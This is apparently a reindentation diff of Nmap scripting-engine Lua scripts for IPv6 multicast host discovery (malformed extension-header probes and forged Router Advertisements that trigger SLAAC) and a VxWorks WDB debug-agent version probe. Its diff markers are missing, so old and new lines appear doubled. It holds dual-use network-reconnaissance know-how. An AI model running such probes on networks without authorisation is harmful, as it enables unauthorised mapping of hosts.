stdnse.print_debug("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
|
||||
|
||||
local condvar = nmap.condvar(results)
|
||||
local src_mac = if_nfo.mac
|
||||
local src_ip6 = packet.ip6tobin(if_nfo.address)
|
||||
local dst_mac = packet.mactobin("33:33:00:00:00:01")
|
||||
local dst_ip6 = packet.ip6tobin("ff02::1")
|
||||
local condvar = nmap.condvar(results)
|
||||
local src_mac = if_nfo.mac
|
||||
local src_ip6 = packet.ip6tobin(if_nfo.address)
|
||||
local dst_mac = packet.mactobin("33:33:00:00:00:01")
|
||||
local dst_ip6 = packet.ip6tobin("ff02::1")
|
||||
|
||||
----------------------------------------------------------------------------
|
||||
--Multicast invalid destination exheader probe
|
||||
----------------------------------------------------------------------------
|
||||
--Multicast invalid destination exheader probe
|
||||
|
||||
local dnet = nmap.new_dnet()
|
||||
local pcap = nmap.new_socket()
|
||||
local dnet = nmap.new_dnet()
|
||||
local pcap = nmap.new_socket()
|
||||
|
||||
local function catch ()
|
||||
dnet:ethernet_close()
|
||||
pcap:pcap_close()
|
||||
local function catch ()
|
||||
dnet:ethernet_close()
|
||||
pcap:pcap_close()
|
||||
end
|
||||
local try = nmap.new_try(catch)
|
||||
|
||||
try(dnet:ethernet_open(if_nfo.device))
|
||||
pcap:pcap_open(if_nfo.device, 128, false, "icmp6 and ip6[6:1] = 58 and ip6[40:1] = 4")
|
||||
|
||||
local probe = packet.Frame:new()
|
||||
probe.mac_src = src_mac
|
||||
probe.mac_dst = dst_mac
|
||||
probe.ip_bin_src = src_ip6
|
||||
probe.ip_bin_dst = dst_ip6
|
||||
|
||||
-- In addition to setting an invalid option in
|
||||
-- build_invalid_extension_header, we set an unknown ICMPv6 type of
|
||||
-- 254. (See http://www.iana.org/assignments/icmpv6-parameters for
|
||||
-- allocations.) Mac OS X 10.6 appears to send a Parameter Problem
|
||||
-- response only if both of these conditions are met. In this we differ
|
||||
-- from the alive6 tool, which sends a proper echo request.
|
||||
probe.icmpv6_type = 254
|
||||
probe.icmpv6_code = 0
|
||||
-- Add a non-empty payload too.
|
||||
probe.icmpv6_payload = string.char(0x00, 0x00, 0x00, 0x00)
|
||||
probe:build_icmpv6_header()
|
||||
|
||||
probe.exheader = build_invalid_extension_header(packet.IPPROTO_ICMPV6)
|
||||
probe.ip6_nhdr = packet.IPPROTO_DSTOPTS
|
||||
|
||||
probe:build_ipv6_packet()
|
||||
probe:build_ether_frame()
|
||||
|
||||
try(dnet:ethernet_send(probe.frame_buf))
|
||||
|
||||
pcap:set_timeout(1000)
|
||||
local pcap_timeout_count = 0
|
||||
local nse_timeout = 5
|
||||
local start_time = nmap:clock()
|
||||
local cur_time = nmap:clock()
|
||||
|
||||
local addrs = {}
|
||||
|
||||
repeat
|
||||
local status, length, layer2, layer3 = pcap:pcap_receive()
|
||||
cur_time = nmap:clock()
|
||||
if not status then
|
||||
pcap_timeout_count = pcap_timeout_count + 1
|
||||
else
|
||||
local l2reply = packet.Frame:new(layer2)
|
||||
if l2reply.mac_dst == src_mac then
|
||||
local reply = packet.Packet:new(layer3)
|
||||
local target_str = reply.ip_src
|
||||
if not results[target_str] then
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
target.add(target_str)
|
||||
end
|
||||
results[#results + 1] = { address = target_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device }
|
||||
results[target_str] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
local try = nmap.new_try(catch)
|
||||
until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
|
||||
|
||||
try(dnet:ethernet_open(if_nfo.device))
|
||||
pcap:pcap_open(if_nfo.device, 128, false, "icmp6 and ip6[6:1] = 58 and ip6[40:1] = 4")
|
||||
dnet:ethernet_close()
|
||||
pcap:pcap_close()
|
||||
|
||||
local probe = packet.Frame:new()
|
||||
probe.mac_src = src_mac
|
||||
probe.mac_dst = dst_mac
|
||||
probe.ip_bin_src = src_ip6
|
||||
probe.ip_bin_dst = dst_ip6
|
||||
|
||||
-- In addition to setting an invalid option in
|
||||
-- build_invalid_extension_header, we set an unknown ICMPv6 type of
|
||||
-- 254. (See http://www.iana.org/assignments/icmpv6-parameters for
|
||||
-- allocations.) Mac OS X 10.6 appears to send a Parameter Problem
|
||||
-- response only if both of these conditions are met. In this we differ
|
||||
-- from the alive6 tool, which sends a proper echo request.
|
||||
probe.icmpv6_type = 254
|
||||
probe.icmpv6_code = 0
|
||||
-- Add a non-empty payload too.
|
||||
probe.icmpv6_payload = string.char(0x00, 0x00, 0x00, 0x00)
|
||||
probe:build_icmpv6_header()
|
||||
|
||||
probe.exheader = build_invalid_extension_header(packet.IPPROTO_ICMPV6)
|
||||
probe.ip6_nhdr = packet.IPPROTO_DSTOPTS
|
||||
|
||||
probe:build_ipv6_packet()
|
||||
probe:build_ether_frame()
|
||||
|
||||
try(dnet:ethernet_send(probe.frame_buf))
|
||||
|
||||
pcap:set_timeout(1000)
|
||||
local pcap_timeout_count = 0
|
||||
local nse_timeout = 5
|
||||
local start_time = nmap:clock()
|
||||
local cur_time = nmap:clock()
|
||||
|
||||
local addrs = {}
|
||||
|
||||
repeat
|
||||
local status, length, layer2, layer3 = pcap:pcap_receive()
|
||||
cur_time = nmap:clock()
|
||||
if not status then
|
||||
pcap_timeout_count = pcap_timeout_count + 1
|
||||
else
|
||||
local l2reply = packet.Frame:new(layer2)
|
||||
if l2reply.mac_dst == src_mac then
|
||||
local reply = packet.Packet:new(layer3)
|
||||
local target_str = reply.ip_src
|
||||
if not results[target_str] then
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
target.add(target_str)
|
||||
end
|
||||
results[#results + 1] = { address = target_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device }
|
||||
results[target_str] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
|
||||
|
||||
dnet:ethernet_close()
|
||||
pcap:pcap_close()
|
||||
|
||||
condvar("signal")
|
||||
condvar("signal")
|
||||
end
|
||||
|
||||
local function format_output(results)
|
||||
local output = tab.new()
|
||||
local output = tab.new()
|
||||
|
||||
for _, record in ipairs(results) do
|
||||
tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
|
||||
end
|
||||
if #results > 0 then
|
||||
output = { tab.dump(output) }
|
||||
if not target.ALLOW_NEW_TARGETS then
|
||||
output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
|
||||
end
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
for _, record in ipairs(results) do
|
||||
tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
|
||||
end
|
||||
if #results > 0 then
|
||||
output = { tab.dump(output) }
|
||||
if not target.ALLOW_NEW_TARGETS then
|
||||
output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
|
||||
end
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
end
|
||||
|
||||
action = function()
|
||||
local threads = {}
|
||||
local results = {}
|
||||
local condvar = nmap.condvar(results)
|
||||
local threads = {}
|
||||
local results = {}
|
||||
local condvar = nmap.condvar(results)
|
||||
|
||||
for _, if_nfo in ipairs(get_interfaces()) do
|
||||
-- create a thread for each interface
|
||||
local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
|
||||
threads[co] = true
|
||||
end
|
||||
for _, if_nfo in ipairs(get_interfaces()) do
|
||||
-- create a thread for each interface
|
||||
local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
|
||||
threads[co] = true
|
||||
end
|
||||
|
||||
repeat
|
||||
for thread in pairs(threads) do
|
||||
if coroutine.status(thread) == "dead" then threads[thread] = nil end
|
||||
end
|
||||
if ( next(threads) ) then
|
||||
condvar "wait"
|
||||
end
|
||||
until next(threads) == nil
|
||||
repeat
|
||||
for thread in pairs(threads) do
|
||||
if coroutine.status(thread) == "dead" then threads[thread] = nil end
|
||||
end
|
||||
if ( next(threads) ) then
|
||||
condvar "wait"
|
||||
end
|
||||
until next(threads) == nil
|
||||
|
||||
return format_output(results)
|
||||
return format_output(results)
|
||||
end
|
||||
|
||||
@@ -48,28 +48,28 @@ categories = {"discovery","broadcast"}
|
||||
|
||||
|
||||
prerule = function()
|
||||
return nmap.is_privileged()
|
||||
return nmap.is_privileged()
|
||||
end
|
||||
|
||||
local function get_identifier(ip6_addr)
|
||||
return string.sub(ip6_addr, 9, 16)
|
||||
return string.sub(ip6_addr, 9, 16)
|
||||
end
|
||||
|
||||
--- Get a Unique-local Address with random global ID.
|
||||
-- @param local_scope The scope of the address, local or reserved.
|
||||
-- @return A 16-byte string of IPv6 address, and the length of the prefix.
|
||||
local function get_radom_ula_prefix(local_scope)
|
||||
local ula_prefix
|
||||
math.randomseed(os.time())
|
||||
local global_id = string.char(math.random(256)-1,math.random(256)-1,math.random(256)-1,math.random(256)-1,math.random(256)-1)
|
||||
local ula_prefix
|
||||
math.randomseed(os.time())
|
||||
local global_id = string.char(math.random(256)-1,math.random(256)-1,math.random(256)-1,math.random(256)-1,math.random(256)-1)
|
||||
|
||||
if local_scope then
|
||||
ula_prefix = packet.ip6tobin("fd00::")
|
||||
else
|
||||
ula_prefix = packet.ip6tobin("fc00::")
|
||||
end
|
||||
ula_prefix = string.sub(ula_prefix,1,1) .. global_id .. string.sub(ula_prefix,7,-1)
|
||||
return ula_prefix,64
|
||||
if local_scope then
|
||||
ula_prefix = packet.ip6tobin("fd00::")
|
||||
else
|
||||
ula_prefix = packet.ip6tobin("fc00::")
|
||||
end
|
||||
ula_prefix = string.sub(ula_prefix,1,1) .. global_id .. string.sub(ula_prefix,7,-1)
|
||||
return ula_prefix,64
|
||||
end
|
||||
|
||||
--- Build an ICMPv6 payload of Router Advertisement.
|
||||
@@ -79,174 +79,174 @@ end
|
||||
-- @param valid_time integer that represents the valid time of the prefix.
|
||||
-- @param preferred_time integer that represents the preferred time of the prefix.
|
||||
local function build_router_advert(mac_src,prefix,prefix_len,valid_time,preferred_time)
|
||||
local ra_msg = string.char(0x0, --cur hop limit
|
||||
0x08, --flags
|
||||
0x00,0x00, --router lifetime
|
||||
0x00,0x00,0x00,0x00, --reachable time
|
||||
0x00,0x00,0x00,0x00) --retrans timer
|
||||
local prefix_option_msg = string.char(prefix_len, 0xc0) .. --flags: Onlink, Auto
|
||||
packet.set_u32("....",0,valid_time) ..
|
||||
packet.set_u32("....",0,preferred_time) ..
|
||||
string.char(0,0,0,0) .. --unknown
|
||||
prefix
|
||||
local icmpv6_prefix_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_PREFIX_INFORMATION,prefix_option_msg)
|
||||
local icmpv6_src_link_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_SOURCE_LINKADDR,mac_src)
|
||||
local icmpv6_payload = ra_msg .. icmpv6_prefix_option .. icmpv6_src_link_option
|
||||
return icmpv6_payload
|
||||
local ra_msg = string.char(0x0, --cur hop limit
|
||||
0x08, --flags
|
||||
0x00,0x00, --router lifetime
|
||||
0x00,0x00,0x00,0x00, --reachable time
|
||||
0x00,0x00,0x00,0x00) --retrans timer
|
||||
local prefix_option_msg = string.char(prefix_len, 0xc0) .. --flags: Onlink, Auto
|
||||
packet.set_u32("....",0,valid_time) ..
|
||||
packet.set_u32("....",0,preferred_time) ..
|
||||
string.char(0,0,0,0) .. --unknown
|
||||
prefix
|
||||
local icmpv6_prefix_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_PREFIX_INFORMATION,prefix_option_msg)
|
||||
local icmpv6_src_link_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_SOURCE_LINKADDR,mac_src)
|
||||
local icmpv6_payload = ra_msg .. icmpv6_prefix_option .. icmpv6_src_link_option
|
||||
return icmpv6_payload
|
||||
end
|
||||
|
||||
local function get_interfaces()
|
||||
local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
|
||||
or nmap.get_interface()
|
||||
local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
|
||||
or nmap.get_interface()
|
||||
|
||||
-- interfaces list (decide which interfaces to broadcast on)
|
||||
local interfaces = {}
|
||||
if interface_name then
|
||||
-- single interface defined
|
||||
local if_table = nmap.get_interface_info(interface_name)
|
||||
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
|
||||
interfaces[#interfaces + 1] = if_table
|
||||
else
|
||||
stdnse.print_debug("Interface not supported or not properly configured.")
|
||||
end
|
||||
else
|
||||
for _, if_table in ipairs(nmap.list_interfaces()) do
|
||||
if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
|
||||
table.insert(interfaces, if_table)
|
||||
end
|
||||
end
|
||||
end
|
||||
-- interfaces list (decide which interfaces to broadcast on)
|
||||
local interfaces = {}
|
||||
if interface_name then
|
||||
-- single interface defined
|
||||
local if_table = nmap.get_interface_info(interface_name)
|
||||
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
|
||||
interfaces[#interfaces + 1] = if_table
|
||||
else
|
||||
stdnse.print_debug("Interface not supported or not properly configured.")
|
||||
end
|
||||
else
|
||||
for _, if_table in ipairs(nmap.list_interfaces()) do
|
||||
if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
|
||||
table.insert(interfaces, if_table)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return interfaces
|
||||
return interfaces
|
||||
end
|
||||
|
||||
local function single_interface_broadcast(if_nfo, results)
|
||||
stdnse.print_debug("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
|
||||
stdnse.print_debug("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
|
||||
|
||||
local condvar = nmap.condvar(results)
|
||||
local src_mac = if_nfo.mac
|
||||
local src_ip6 = packet.ip6tobin(if_nfo.address)
|
||||
local dst_mac = packet.mactobin("33:33:00:00:00:01")
|
||||
local dst_ip6 = packet.ip6tobin("ff02::1")
|
||||
local condvar = nmap.condvar(results)
|
||||
local src_mac = if_nfo.mac
|
||||
local src_ip6 = packet.ip6tobin(if_nfo.address)
|
||||
local dst_mac = packet.mactobin("33:33:00:00:00:01")
|
||||
local dst_ip6 = packet.ip6tobin("ff02::1")
|
||||
|
||||
----------------------------------------------------------------------------
|
||||
--SLAAC-based host discovery probe
|
||||
----------------------------------------------------------------------------
|
||||
--SLAAC-based host discovery probe
|
||||
|
||||
local dnet = nmap.new_dnet()
|
||||
local pcap = nmap.new_socket()
|
||||
local dnet = nmap.new_dnet()
|
||||
local pcap = nmap.new_socket()
|
||||
|
||||
local function catch ()
|
||||
dnet:ethernet_close()
|
||||
pcap:pcap_close()
|
||||
local function catch ()
|
||||
dnet:ethernet_close()
|
||||
pcap:pcap_close()
|
||||
end
|
||||
local try = nmap.new_try(catch)
|
||||
|
||||
try(dnet:ethernet_open(if_nfo.device))
|
||||
pcap:pcap_open(if_nfo.device, 128, true, "src ::0/128 and dst net ff02::1:0:0/96 and icmp6 and ip6[6:1] = 58 and ip6[40:1] = 135")
|
||||
|
||||
local actual_prefix = string.sub(src_ip6,1,8)
|
||||
local ula_prefix, prefix_len = get_radom_ula_prefix()
|
||||
|
||||
-- preferred_lifetime <= valid_lifetime.
|
||||
-- Nmap will get the whole IPv6 addresses of each host if the two parameters are both longer than 5 seconds.
|
||||
-- Sometimes it makes sense to regard the several addresses of a host as different hosts, as the host's administrator may apply different firewall configurations on them.
|
||||
local valid_lifetime = 6
|
||||
local preferred_lifetime = 6
|
||||
|
||||
local probe = packet.Frame:new()
|
||||
|
||||
probe.ip_bin_src = packet.mac_to_lladdr(src_mac)
|
||||
probe.ip_bin_dst = dst_ip6
|
||||
probe.mac_src = src_mac
|
||||
probe.mac_dst = packet.mactobin("33:33:00:00:00:01")
|
||||
|
||||
local icmpv6_payload = build_router_advert(src_mac,ula_prefix,prefix_len,valid_lifetime,preferred_lifetime)
|
||||
probe:build_icmpv6_header(packet.ND_ROUTER_ADVERT, 0, icmpv6_payload)
|
||||
probe:build_ipv6_packet()
|
||||
probe:build_ether_frame()
|
||||
|
||||
try(dnet:ethernet_send(probe.frame_buf))
|
||||
|
||||
local expected_mac_dst_prefix = packet.mactobin("33:33:ff:00:00:00")
|
||||
local expected_ip6_src = packet.ip6tobin("::")
|
||||
local expected_ip6_dst_prefix = packet.ip6tobin("ff02::1:0:0")
|
||||
|
||||
pcap:set_timeout(1000)
|
||||
local pcap_timeout_count = 0
|
||||
local nse_timeout = 5
|
||||
local start_time = nmap:clock()
|
||||
local cur_time = nmap:clock()
|
||||
|
||||
repeat
|
||||
local status, length, layer2, layer3 = pcap:pcap_receive()
|
||||
cur_time = nmap:clock()
|
||||
if not status then
|
||||
pcap_timeout_count = pcap_timeout_count + 1
|
||||
else
|
||||
local l2reply = packet.Frame:new(layer2)
|
||||
if string.sub(l2reply.mac_dst, 1, 3) == string.sub(expected_mac_dst_prefix, 1, 3) then
|
||||
local reply = packet.Packet:new(layer3)
|
||||
if reply.ip_bin_src == expected_ip6_src and
|
||||
string.sub(expected_ip6_dst_prefix,1,12) == string.sub(reply.ip_bin_dst,1,12) then
|
||||
local ula_target_addr_str = packet.toipv6(reply.ns_target)
|
||||
local identifier = get_identifier(reply.ns_target)
|
||||
--Filter out the reduplicative identifiers.
|
||||
--A host will send several NS packets with the same interface identifier if it receives several RA packets with different prefix during the discovery phase.
|
||||
local actual_addr_str = packet.toipv6(actual_prefix .. identifier)
|
||||
if not results[actual_addr_str] then
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
target.add(actual_addr_str)
|
||||
end
|
||||
results[#results + 1] = { address = actual_addr_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device }
|
||||
results[actual_addr_str] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
local try = nmap.new_try(catch)
|
||||
until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
|
||||
|
||||
try(dnet:ethernet_open(if_nfo.device))
|
||||
pcap:pcap_open(if_nfo.device, 128, true, "src ::0/128 and dst net ff02::1:0:0/96 and icmp6 and ip6[6:1] = 58 and ip6[40:1] = 135")
|
||||
dnet:ethernet_close()
|
||||
pcap:pcap_close()
|
||||
|
||||
local actual_prefix = string.sub(src_ip6,1,8)
|
||||
local ula_prefix, prefix_len = get_radom_ula_prefix()
|
||||
|
||||
-- preferred_lifetime <= valid_lifetime.
|
||||
-- Nmap will get the whole IPv6 addresses of each host if the two parameters are both longer than 5 seconds.
|
||||
-- Sometimes it makes sense to regard the several addresses of a host as different hosts, as the host's administrator may apply different firewall configurations on them.
|
||||
local valid_lifetime = 6
|
||||
local preferred_lifetime = 6
|
||||
|
||||
local probe = packet.Frame:new()
|
||||
|
||||
probe.ip_bin_src = packet.mac_to_lladdr(src_mac)
|
||||
probe.ip_bin_dst = dst_ip6
|
||||
probe.mac_src = src_mac
|
||||
probe.mac_dst = packet.mactobin("33:33:00:00:00:01")
|
||||
|
||||
local icmpv6_payload = build_router_advert(src_mac,ula_prefix,prefix_len,valid_lifetime,preferred_lifetime)
|
||||
probe:build_icmpv6_header(packet.ND_ROUTER_ADVERT, 0, icmpv6_payload)
|
||||
probe:build_ipv6_packet()
|
||||
probe:build_ether_frame()
|
||||
|
||||
try(dnet:ethernet_send(probe.frame_buf))
|
||||
|
||||
local expected_mac_dst_prefix = packet.mactobin("33:33:ff:00:00:00")
|
||||
local expected_ip6_src = packet.ip6tobin("::")
|
||||
local expected_ip6_dst_prefix = packet.ip6tobin("ff02::1:0:0")
|
||||
|
||||
pcap:set_timeout(1000)
|
||||
local pcap_timeout_count = 0
|
||||
local nse_timeout = 5
|
||||
local start_time = nmap:clock()
|
||||
local cur_time = nmap:clock()
|
||||
|
||||
repeat
|
||||
local status, length, layer2, layer3 = pcap:pcap_receive()
|
||||
cur_time = nmap:clock()
|
||||
if not status then
|
||||
pcap_timeout_count = pcap_timeout_count + 1
|
||||
else
|
||||
local l2reply = packet.Frame:new(layer2)
|
||||
if string.sub(l2reply.mac_dst, 1, 3) == string.sub(expected_mac_dst_prefix, 1, 3) then
|
||||
local reply = packet.Packet:new(layer3)
|
||||
if reply.ip_bin_src == expected_ip6_src and
|
||||
string.sub(expected_ip6_dst_prefix,1,12) == string.sub(reply.ip_bin_dst,1,12) then
|
||||
local ula_target_addr_str = packet.toipv6(reply.ns_target)
|
||||
local identifier = get_identifier(reply.ns_target)
|
||||
--Filter out the reduplicative identifiers.
|
||||
--A host will send several NS packets with the same interface identifier if it receives several RA packets with different prefix during the discovery phase.
|
||||
local actual_addr_str = packet.toipv6(actual_prefix .. identifier)
|
||||
if not results[actual_addr_str] then
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
target.add(actual_addr_str)
|
||||
end
|
||||
results[#results + 1] = { address = actual_addr_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device }
|
||||
results[actual_addr_str] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
|
||||
|
||||
dnet:ethernet_close()
|
||||
pcap:pcap_close()
|
||||
|
||||
condvar("signal")
|
||||
condvar("signal")
|
||||
end
|
||||
|
||||
local function format_output(results)
|
||||
local output = tab.new()
|
||||
local output = tab.new()
|
||||
|
||||
for _, record in ipairs(results) do
|
||||
tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
|
||||
end
|
||||
if #results > 0 then
|
||||
output = { tab.dump(output) }
|
||||
if not target.ALLOW_NEW_TARGETS then
|
||||
output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
|
||||
end
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
for _, record in ipairs(results) do
|
||||
tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
|
||||
end
|
||||
if #results > 0 then
|
||||
output = { tab.dump(output) }
|
||||
if not target.ALLOW_NEW_TARGETS then
|
||||
output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
|
||||
end
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
end
|
||||
|
||||
action = function()
|
||||
local threads = {}
|
||||
local results = {}
|
||||
local condvar = nmap.condvar(results)
|
||||
local threads = {}
|
||||
local results = {}
|
||||
local condvar = nmap.condvar(results)
|
||||
|
||||
for _, if_nfo in ipairs(get_interfaces()) do
|
||||
-- create a thread for each interface
|
||||
if ipOps.ip_in_range(if_nfo.address, "fe80::/10") then
|
||||
local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
|
||||
threads[co] = true
|
||||
end
|
||||
end
|
||||
for _, if_nfo in ipairs(get_interfaces()) do
|
||||
-- create a thread for each interface
|
||||
if ipOps.ip_in_range(if_nfo.address, "fe80::/10") then
|
||||
local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
|
||||
threads[co] = true
|
||||
end
|
||||
end
|
||||
|
||||
repeat
|
||||
for thread in pairs(threads) do
|
||||
if coroutine.status(thread) == "dead" then threads[thread] = nil end
|
||||
end
|
||||
if ( next(threads) ) then
|
||||
condvar "wait"
|
||||
end
|
||||
until next(threads) == nil
|
||||
repeat
|
||||
for thread in pairs(threads) do
|
||||
if coroutine.status(thread) == "dead" then threads[thread] = nil end
|
||||
end
|
||||
if ( next(threads) ) then
|
||||
condvar "wait"
|
||||
end
|
||||
until next(threads) == nil
|
||||
|
||||
return format_output(results)
|
||||
return format_output(results)
|
||||
end
|
||||
|
||||
@@ -55,37 +55,37 @@ rpc.RPC_version["wdb"] = { min=1, max=1 }
|
||||
|
||||
local WDB_Procedure = {
|
||||
["WDB_TARGET_PING"] = 0,
|
||||
["WDB_TARGET_CONNECT"] = 1,
|
||||
["WDB_TARGET_CONNECT"] = 1,
|
||||
["WDB_TARGET_DISCONNECT"] = 2,
|
||||
["WDB_TARGET_MODE_SET"] = 3,
|
||||
["WDB_TARGET_MODE_GET"] = 4,
|
||||
}
|
||||
|
||||
local function checksum(data)
|
||||
local sum = 0
|
||||
local p = 0
|
||||
local _
|
||||
p, _ = bin.unpack(">I", data)
|
||||
while p < data:len() do
|
||||
local c
|
||||
p, c = bin.unpack(">S", data, p)
|
||||
sum = sum + c
|
||||
end
|
||||
sum = bit.band(sum, 0xffff) + bit.rshift(sum, 16)
|
||||
return bit.bnot( sum )
|
||||
local sum = 0
|
||||
local p = 0
|
||||
local _
|
||||
p, _ = bin.unpack(">I", data)
|
||||
while p < data:len() do
|
||||
local c
|
||||
p, c = bin.unpack(">S", data, p)
|
||||
sum = sum + c
|
||||
end
|
||||
sum = bit.band(sum, 0xffff) + bit.rshift(sum, 16)
|
||||
return bit.bnot( sum )
|
||||
end
|
||||
|
||||
local seqnum = 0
|
||||
local function seqno()
|
||||
seqnum = seqnum + 1
|
||||
return seqnum
|
||||
seqnum = seqnum + 1
|
||||
return seqnum
|
||||
end
|
||||
|
||||
local function request(comm, procedure, data)
|
||||
local packet = comm:EncodePacket( nil, procedure, {type = rpc.Portmap.AuthType.NULL}, nil )
|
||||
local wdbwrapper = bin.pack( ">I2", data:len() + packet:len() + 8, seqno() )
|
||||
local sum = checksum(packet..bin.pack(">I", 0x00000000)..wdbwrapper..data)
|
||||
return packet .. bin.pack(">S2", 0xffff, sum) .. wdbwrapper .. data
|
||||
local packet = comm:EncodePacket( nil, procedure, {type = rpc.Portmap.AuthType.NULL}, nil )
|
||||
local wdbwrapper = bin.pack( ">I2", data:len() + packet:len() + 8, seqno() )
|
||||
local sum = checksum(packet..bin.pack(">I", 0x00000000)..wdbwrapper..data)
|
||||
return packet .. bin.pack(">S2", 0xffff, sum) .. wdbwrapper .. data
|
||||
end
|
||||
|
||||
local function stripnull(str)
|
||||
@@ -97,139 +97,139 @@ local function stripnull(str)
|
||||
end
|
||||
|
||||
local function decode_reply(data, pos)
|
||||
local wdberr, len
|
||||
local done = data:len()
|
||||
local info = {}
|
||||
local _
|
||||
pos, _ = rpc.Util.unmarshall_uint32(data, pos)
|
||||
pos, _ = rpc.Util.unmarshall_uint32(data, pos)
|
||||
pos, wdberr = rpc.Util.unmarshall_uint32(data, pos)
|
||||
info["error"] = bit.band(wdberr, 0xc0000000)
|
||||
if (info["error"] ~= 0x00000000 ) then
|
||||
stdnse.print_debug(1,"Error from decode_reply: %x", info["error"])
|
||||
return nil, info
|
||||
end
|
||||
pos, len = rpc.Util.unmarshall_uint32(data, pos)
|
||||
if (len ~= 0) then
|
||||
pos, info["agent_ver"] = rpc.Util.unmarshall_vopaque(len, data, pos)
|
||||
end
|
||||
pos, info["agent_mtu"] = rpc.Util.unmarshall_uint32(data, pos)
|
||||
pos, info["agent_mod"] = rpc.Util.unmarshall_uint32(data, pos)
|
||||
pos, info["rt_type"] = rpc.Util.unmarshall_uint32(data, pos)
|
||||
pos, len = rpc.Util.unmarshall_uint32(data, pos)
|
||||
if (pos == done) then return pos, info end
|
||||
if (len ~= 0) then
|
||||
pos, info["rt_vers"] = rpc.Util.unmarshall_vopaque(len, data, pos)
|
||||
end
|
||||
pos, info["rt_cpu_type"] = rpc.Util.unmarshall_uint32(data, pos)
|
||||
pos, len = rpc.Util.unmarshall_uint32(data, pos)
|
||||
info["rt_has_fpp"] = ( len ~= 0 )
|
||||
pos, len = rpc.Util.unmarshall_uint32(data, pos)
|
||||
info["rt_has_wp"] = ( len ~= 0 )
|
||||
pos, info["rt_page_size"] = rpc.Util.unmarshall_uint32(data, pos)
|
||||
pos, info["rt_endian"] = rpc.Util.unmarshall_uint32(data, pos)
|
||||
pos, len = rpc.Util.unmarshall_uint32(data, pos)
|
||||
if (len ~= 0) then
|
||||
pos, info["rt_bsp_name"] = rpc.Util.unmarshall_vopaque(len, data, pos)
|
||||
end
|
||||
pos, len = rpc.Util.unmarshall_uint32(data, pos)
|
||||
if (len ~= 0) then
|
||||
pos, info["rt_bootline"] = rpc.Util.unmarshall_vopaque(len, data, pos)
|
||||
end
|
||||
if (pos == done) then return pos, info end
|
||||
pos, info["rt_membase"] = rpc.Util.unmarshall_uint32(data, pos)
|
||||
if (pos == done) then return pos, info end
|
||||
pos, info["rt_memsize"] = rpc.Util.unmarshall_uint32(data, pos)
|
||||
if (pos == done) then return pos, info end
|
||||
pos, info["rt_region_count"] = rpc.Util.unmarshall_uint32(data, pos)
|
||||
if (pos == done) then return pos, info end
|
||||
pos, len = rpc.Util.unmarshall_uint32(data, pos)
|
||||
if (len ~= 0) then
|
||||
info["rt_regions"] = {}
|
||||
for i = 1, len do
|
||||
pos, info["rt_regions"][i] = rpc.Util.unmarshall_uint32(data, pos)
|
||||
end
|
||||
end
|
||||
if (pos == done) then return pos, info end
|
||||
pos, len = rpc.Util.unmarshall_uint32(data, pos)
|
||||
if (len == nil) then return pos, info end
|
||||
if (len ~= 0) then
|
||||
pos, info["rt_hostpool_base"] = rpc.Util.unmarshall_vopaque(len, data, pos)
|
||||
end
|
||||
if (pos == done) then return pos, info end
|
||||
pos, len = rpc.Util.unmarshall_uint32(data, pos)
|
||||
if (len ~= 0) then
|
||||
pos, info["rt_hostpool_size"] = rpc.Util.unmarshall_vopaque(len, data, pos)
|
||||
end
|
||||
return pos, info
|
||||
local wdberr, len
|
||||
local done = data:len()
|
||||
local info = {}
|
||||
local _
|
||||
pos, _ = rpc.Util.unmarshall_uint32(data, pos)
|
||||
pos, _ = rpc.Util.unmarshall_uint32(data, pos)
|
||||
pos, wdberr = rpc.Util.unmarshall_uint32(data, pos)
|
||||
info["error"] = bit.band(wdberr, 0xc0000000)
|
||||
if (info["error"] ~= 0x00000000 ) then
|
||||
stdnse.print_debug(1,"Error from decode_reply: %x", info["error"])
|
||||
return nil, info
|
||||
end
|
||||
